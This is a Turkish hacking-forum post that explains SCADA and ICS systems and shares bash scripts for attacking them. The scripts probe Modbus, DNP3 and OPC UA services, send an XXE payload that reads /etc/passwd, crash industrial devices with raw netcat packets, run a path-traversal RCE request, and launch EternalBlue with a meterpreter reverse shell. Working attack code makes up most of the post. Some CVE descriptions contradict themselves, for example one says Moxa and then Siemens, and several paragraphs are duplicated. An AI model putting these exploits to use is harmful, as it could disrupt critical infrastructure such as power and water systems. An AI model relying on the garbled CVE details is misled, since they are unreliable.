İyi günler Türk Hack Team ailesi.
Bugün sizlerle beraber günümüzün en tehlikeli zaafiyetleri hakkında konuşacağız.
Ayrıca bu zaafiyetlere yönelik, önceden ortaya çıkmış olan CVE'lere göre hazırlamış olduğum, bash scriptlerini sizlerle paylaşacağım.
Bu bash scriptlerini kendinize göre düzenleyebilir, ufkunuzu açmak için kullanabilir veya defansif çalışmalar için referans alabilirsiniz.
Ayrıca, eminim ki forumda son dönemlerde farklı ve kaliteli içeriklerde Tulu Yıldızları Kulübü yazısına denk geliyorsunuz.
Tulu Yıldızları Kulübü olarak, farklı disiplinlerde, farklı teknolojileri araştırıp, güzel içerikler çıkarmaya çalışıyoruz.
Aynı zamanda kendi içimizde devamlı olarak eğitimler ve kulüp içi etkinlikler yapıyoruz.
İlginizi çekiyorsa buradan aramıza dahil olabilirsiniz!
Kılıçlarınızı kuşandıysanız başlayabiliriz!
SCADA ve ICS nedir?
SCADA (Supervisory Control and Data Acquisition) ve ICS (Endüstriyel Kontrol Sistemi) endüstriyel işlemleri izlemek, kontrol etmek ve yönetmek için kullanılan sistemlerdir. Bunlar, enerji şebekeleri, su ve atık su yönetimi, petrol ve gaz boru hatları, demiryolu ve ulaşım sistemleri, kimya tesisleri ve üretim süreçleri gibi kritik altyapılarda kullanılır. SCADA ve ICS sistemleri, üretim süreçlerinin otomatikleştirilmesine, verimliliğin artırılmasına ve operasyonel süreçlerin daha güvenli ve güvenilir bir şekilde gerçekleştirilmesine yardımcı olur.
Siber güvenlik açısından SCADA ve ICS sistemleri önemlidir çünkü bu sistemler kritik altyapıları kontrol eder ve yönetir. Bu sistemlerde meydana gelecek herhangi bir güvenlik ihlali veya kötü amaçlı saldırı, fiziksel zararlara, insan hayatı kaybına, hizmet kesintilerine ve ekonomik kayıplara yol açabilir. Özellikle son yıllarda, siber saldırganlar daha çok SCADA ve ICS sistemlerine odaklanmış durumda. Bu nedenle, bu sistemlerin güvenliği ve siber saldırılara karşı korunması, ulusal güvenlik ve ekonomik refah açısından büyük öneme sahiptir.
SCADA & ICS Zaafiyetleri Genellikle Nasıl Ortaya Çıkar?
Scriptleri paylaşmaya başlamadan önce, genel bir bilgilendirme yapmanın iyi olacağını düşündüm. Bu tarz yapıların kendilerine ait bazı iletişim protokolleri mevcut.
Birazdan bu protokollere değineceğim. Fakat genel olarak gözlemlerimi sorarsanız; bu alanda yer alan büyük zaafiyetler açık bırakılan portlar veya yanlış yapılandırma sebebiyle yetkilendirme hatalarından kaynaklanıyor.
SCADA ve ICS sistemleri genellikle endüstriyel kontrol ağı (Industrial Control Network - ICN) üzerinde çalışırlar ve belirli portlar üzerinden iletişim kurarlar. Bazı yaygın olarak kullanılan portlar şunlardır:
- TCP 502: Modbus TCP portu
- TCP 102: Siemens S7 portu
- TCP 44818: EtherNet/IP portu
- UDP 161: SNMP portu
- UDP 69: TFTP portu
SCADA & ICS Zaafiyetleri ve Bash Kodları!
Modbus Sızma Testi
Bu bash scripti, python kodu içerisinde modbus-tk kütüphanesini kullanarak Modbus TCP üzerinde hedef sunucuya bağlanmaya çalışır.
Daha sonra, 65-72 arasındaki belirli Modbus fonksiyonlarını kullanarak sızma testi gerçekleştirir. Function code 65-72, özel işlevler olarak adlandırılır ve belirli bir Modbus sunucusuna göre farklılık gösterebilir. Bu nedenle, script, her bir fonksiyonu kullanarak Modbus sunucusundan yanıt almaya çalışır ve sonuçları ekrana yazdırır.
Bash:
#!/bin/bash
# Modbus Penetration Testing Script | Enistein <3
TARGET_IP="192.168.1.100"
TARGET_PORT="502"
# Python script dosyasını oluşturma
cat <<EOF > modbus_test.py
import sys
from modbus_tk import modbus_tcp
def main():
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
try:
# Modbus sunucusuna bağlanma
master = modbus_tcp.TcpMaster(target_ip, target_port)
master.set_timeout(5.0)
# sızma testi gerçekleştirme
for function_code in range(65, 73):
try:
response = master.execute(1, function_code, 0, 1)
print(f"Function code {function_code} response: {response}")
except Exception as e:
print(f"Function code {function_code} error: {e}")
except Exception as e:
print(f"Connection error: {e}")
if __name__ == "__main__":
main()
EOF
# Python scriptini çalıştırma
python3 modbus_test.py $TARGET_IP $TARGET_PORT
DNP3 Sızma Testi
Bu bash scripti, python dosyası oluşturur ve dnp3 kütüphanesini kullanarak DNP3 üzerinde hedef sunucuya bağlanır ve sahte istekler göndererek sistemdeki güvenlik açıklarını tespit etmeye çalışır.
Bash:
#!/bin/bash[/COLOR][/B]
# DNP3 Penetration Testing Script | Enistein <3
TARGET_IP="192.168.1.100"
TARGET_PORT="20000"
# Python script dosyasını oluşturma
cat <<EOF > dnp3_test.py
import sys
from pydnp3 import opendnp3, asiodnp3, asiopal
def main():
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
# DNP3 bağlantı ayarları
channel_listener = asiodnp3.PrintingChannelListener()
stack_config = asiodnp3.MasterStackConfig()
stack_config.master.responseTimeout = asiopal.TimeDuration().Seconds(5)
manager = asiodnp3.DNP3Manager(1)
channel = manager.AddTCPClient('client', opendnp3.levels.NORMAL, opendnp3.ChannelRetry(), target_ip, target_port, channel_listener)
master = channel.AddMaster('master', asiodnp3.PrintingSOEHandler(), asiodnp3.DefaultMasterApplication(), stack_config)
# DNP3 master'ı başlatma
master.Enable()
# Sahte istekler göndererek sızma testi gerçekleştirme
for i in range(10):
master.PerformFunction("custom_request", opendnp3.FunctionCode.WRITE, [opendnp3.Header(opendnp3.GroupVariationID(i, 0))])
# DNP3 master'ı durdurma
master.Disable()
if __name__ == "__main__":
main()
EOF
# Python scriptini çalıştırma
python3 dnp3_test.py $TARGET_IP $TARGET_PORT
OPC UA Sızma Testi
opcua-asyncio kütüphanesini kullanarak OPC UA sunucusuna bağlanır ve sunucu üzerindeki düğümlere erişmeye çalışarak güvenlik açıklarını tespit etmeye çalışır.
Bash:
#!/bin/bash
# OPC UA Penetration Testing Script |Enistein <3
TARGET_URL="opc.tcp://192.168.1.100:4840"
# Python script dosyasını oluşturma
cat <<EOF > opcua_test.py
import sys
import asyncio
from asyncua import Client
async def main():
target_url = sys.argv[1]
# OPC UA sunucusuna bağlanma
async with Client(url=target_url) as client:
try:
# Sunucu üzerindeki düğümlere erişmeye çalışma
root = client.get_root_node()
objects = await root.get_child("0:Objects")
print("Root node:", root)
print("Objects node:", objects)
# Sunucudaki düğümleri listeleyerek sızma testi gerçekleştirme
nodes = await objects.get_children()
for node in nodes:
print("Node:", node)
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
asyncio.run(main())
EOF
# Python scriptini çalıştırma
python3 opcua_test.py $TARGET_URL
CVE-2020-10173: Progea Movicon 11 SCADA HMI - XML External Entity (XXE) Zaafiyeti
CVE-2020-10173 güvenlik açığından yararlanarak hedef Progea Movicon 11 SCADA HMI sistemine XML External Entity enjeksiyonu gerçekleştirir.
belirli bir XML dosyasına bir referans (file:///) ekleyerek, sunucuda bulunan dosyalara erişebilir.
Daha sonra, script, hedef sunucuya XXE payload'ını gönderir. Bu işlem "curl" kullanılarak yapılır ve "-X POST" parametresi, bir POST isteği gönderileceğini belirtir.
CVE-2020-10173 güvenlik açığından yararlanarak hedef Progea Movicon 11 SCADA HMI sistemine XML External Entity enjeksiyonu gerçekleştirir.
belirli bir XML dosyasına bir referans (file:///) ekleyerek, sunucuda bulunan dosyalara erişebilir.
Daha sonra, script, hedef sunucuya XXE payload'ını gönderir. Bu işlem "curl" kullanılarak yapılır ve "-X POST" parametresi, bir POST isteği gönderileceğini belirtir.
Bash:
#!/bin/bash
[COLOR=rgb(239, 239, 239)]# CVE-2020-10173 Exploit Script | Enistein <3
TARGET_URL="http://192.168.1.100/movicon"
# XXE payload dosyasını oluşturma
cat <<EOF > xxe_payload.xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<foo>
&xxe;
</foo>
</soap:Body>
</soap:Envelope>
EOF
# XXE payload'ını hedef sunucuya gönderme
curl -X POST -H "Content-Type: text/xml" --data-binary "@xxe_payload.xml" $TARGET_URL
CVE-2019-10972: Moxa EDR-810 Industrial VPN Server - DoS Zaafiyeti
CVE-2019-10972 güvenlik açığından yararlanarak hedef Moxa EDR-810 Endüstriyel VPN sunucusuna hizmet dışı bırakma (DoS) saldırısı gerçekleştirir.
Bu zafiyet, özellikle Siemens Simatic S7-300 PLC cihazlarında mevcuttur.
Belirli bir paket göndererek hedef sunucuyu hizmet dışı bırakır.
Script içerisinde "\x01\x00\x00\x08\x00\x00\x00\x00" şeklinde bir paket yer almaktadır. Bu bayt dizisi, hedef cihazın bellek adreslerine işaret etmek için kullanılır.
CVE-2019-10972 güvenlik açığından yararlanarak hedef Moxa EDR-810 Endüstriyel VPN sunucusuna hizmet dışı bırakma (DoS) saldırısı gerçekleştirir.
Bu zafiyet, özellikle Siemens Simatic S7-300 PLC cihazlarında mevcuttur.
Belirli bir paket göndererek hedef sunucuyu hizmet dışı bırakır.
Script içerisinde "\x01\x00\x00\x08\x00\x00\x00\x00" şeklinde bir paket yer almaktadır. Bu bayt dizisi, hedef cihazın bellek adreslerine işaret etmek için kullanılır.
Bash:
#!/bin/bash
[COLOR=rgb(239, 239, 239)]# CVE-2019-10972 Exploit Script | Enistein <3
TARGET_IP="192.168.1.100"
TARGET_PORT="500"
# Hedef sunucuya hizmet dışı bırakma (DoS) saldırısı gerçekleştirme
echo -e "\x01\x00\x00\x08\x00\x00\x00\x00" | nc $TARGET_IP $TARGET_PORT
CVE-2018-8840: Advantech WebAccess/SCADA Unauthenticated Remote Code Execution
Bu script, CVE-2018-8840 güvenlik açığından yararlanarak hedef Advantech WebAccess/SCADA sistemine kimlik doğrulamasız uzaktan kod çalıştırma saldırısı gerçekleştirir.
Script, bir post içerisinde ("client") parametresine sahiptir. Hedef sunucuda belirli bir kodun çalıştırılmasına izin verir. Bu kod, "System.getProperty("os.name")" ile temsil edilen bir Java kodudur ve hedef sistemde çalışan işletim sistemi adını döndürür.
Daha sonra, istek, hedef sunucudaki belirli bir dosyaya yazma işlemi gerçekleştirir. Bu dosya, "/../../../../../../../../../tmp/test.exp" adlı bir dosyadır ve verileri alır. Bu dosyanın yolu, hedef sunucuda belirli bir klasöre götürür ve saldırganların hedef sunucuda belirli bir kodu çalıştırmasına izin verir.
Bu script, CVE-2018-8840 güvenlik açığından yararlanarak hedef Advantech WebAccess/SCADA sistemine kimlik doğrulamasız uzaktan kod çalıştırma saldırısı gerçekleştirir.
Script, bir post içerisinde ("client") parametresine sahiptir. Hedef sunucuda belirli bir kodun çalıştırılmasına izin verir. Bu kod, "System.getProperty("os.name")" ile temsil edilen bir Java kodudur ve hedef sistemde çalışan işletim sistemi adını döndürür.
Daha sonra, istek, hedef sunucudaki belirli bir dosyaya yazma işlemi gerçekleştirir. Bu dosya, "/../../../../../../../../../tmp/test.exp" adlı bir dosyadır ve verileri alır. Bu dosyanın yolu, hedef sunucuda belirli bir klasöre götürür ve saldırganların hedef sunucuda belirli bir kodu çalıştırmasına izin verir.
Bash:
#!/bin/bash
[COLOR=rgb(239, 239, 239)]# CVE-2018-8840 Exploit Script | Enistein <3
TARGET_IP="192.168.1.100"
TARGET_PORT="80"
# Exploit'i çalıştırma
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "client=<%25%3DSystem.getProperty(%22os.name%22)%25>" "http://$TARGET_IP:$TARGET_PORT/WaIndxAct/repname/&fileName=/../../../../../../../../../tmp/test.exp"
CVE-2017-16744: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module - DoS
CVE-2017-16744 güvenlik açığından yararlanarak hedef Siemens SIPROTEC 4 ve SIPROTEC Compact EN100 Ethernet Modülü sistemine hizmet dışı bırakma (DoS) saldırısı gerçekleştirir.
Bash:
#!/bin/bash
[COLOR=rgb(239, 239, 239)]# CVE-2017-16744 Exploit Script | Enistein <3
TARGET_IP="192.168.1.100"
TARGET_PORT="50000"
# Exploit'i çalıştırma
echo -e "\x11\x49\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | nc $TARGET_IP $TARGET_PORT
CVE-2017-0144: MS17-010 (EternalBlue) - SMBv1 Remote Code Execution
CVE-2017-0144 güvenlik açığından yararlanarak hedef Windows sistemine SMBv1 üzerinden uzaktan kod çalıştırma saldırısı gerçekleştirir. Bu zaafiyet, özellikle WannaCry ve NotPetya gibi zararlı yazılımların yayılmasında kullanılmıştır.
CVE-2017-0144 güvenlik açığından yararlanarak hedef Windows sistemine SMBv1 üzerinden uzaktan kod çalıştırma saldırısı gerçekleştirir. Bu zaafiyet, özellikle WannaCry ve NotPetya gibi zararlı yazılımların yayılmasında kullanılmıştır.
Bash:
#!/bin/bash
[COLOR=rgb(239, 239, 239)]# CVE-2017-0144 Exploit Script | Enistein <3
TARGET_IP="192.168.1.100"
# EternalBlue Metasploit modülünü kullanarak hedef sisteme payload
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue;set RHOSTS $TARGET_IP; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST <Your_Local_IP>; run"
Kapanış
Bugün SCADA ve ICS sistemlerini tanımış olduk. Ayrıca bu yönde daha önceden hazırlamış olduğum bash scriptlerini sizlerle paylaştım.
Umarım faydalı bir konu olmuştur.
Eğer bu tarz konular ilginizi çekiyorsa, önceden paylaşmış olduğum içeriklere göz atabilirsiniz!
Meltdown ve Spectre: Modern İşlemcilerdeki Güvenlik Zaafiyetleri
Python ile Zararlı Yazılım Analizi!
HackRF ile Bluetooth Low Energy Sniffing #3
HackRF ile Replay Attack #2
HackRF Nedir? | HackRF ile GPS Spoofing #1
Phishing URL Kısaltma Uygulaması Yazalım! | Phishing için URL Tekniği
QRLJacking Nedir? | Whatsapp Saldırı Vektörü Oluşturalım!
Son düzenleme: